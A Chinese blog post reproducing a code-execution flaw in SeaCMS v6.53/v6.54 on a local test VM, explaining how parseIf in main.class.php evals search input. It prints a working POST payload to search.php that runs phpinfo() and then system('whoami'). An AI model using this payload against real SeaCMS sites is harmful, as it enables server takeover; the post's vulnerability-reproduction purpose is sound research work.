海洋cms v6.53 v6.54版本漏洞复现

发布时间: 访问量:136

海洋cms v6.53 v6.54版本漏洞复现参考

下载地址

今天发现freebuf上一篇海洋cms的漏洞,来复现一下。http://www.freebuf.com/vuls/150042.html漏洞原理:文章里说的很清楚echoSearchPage函数中的content变量传给了parself函数,跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

通过POC可以看出,通过对参数进行了替换之后,content中已经包含了如下攻击payload:if:eval(join($_POST@[9]))跟踪代码,找到./include/main.class.php,可以看到parseIf函数会将content内容eval执行,造成命令执行。

使用环境:win7 64位虚拟机 + phpstudyseacms(v6.53).rar      在网盘里面找相应名字网上现在最新的是6.55的已经修复了,这留个测试副本。
具体复现步骤:下面是自建的测试网站,建站上用的phpstudy没有任何问题
安装完成界面http://192.168.19.130/seacms/install/index.php首页http://192.168.19.130/seacms/后台http://192.168.19.130/seacms/admin/login.php?gotopage=%2Fseacms%2Fadmin%2F这几个地址可以记录一下
网上提供的POC
POST /seacms/search.php HTTP/1.1Host: 192.168.19.130User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 12Referer: http://192.168.19.130/seacms/search.phpCookie: a4207_times=1; PHPSESSID=kdb0jv3umhhso2o37jbtrsk9t4Connection: closeUpgrade-Insecure-Requests: 1
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
执行结果,可见写入9[]的代码被执行
进一步利用,可以执行系统命令,剩下的就不多说了。searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami"); 好了,收工。
知识要大家一起分享,但带上原文链接是对作者的尊重。

更多文章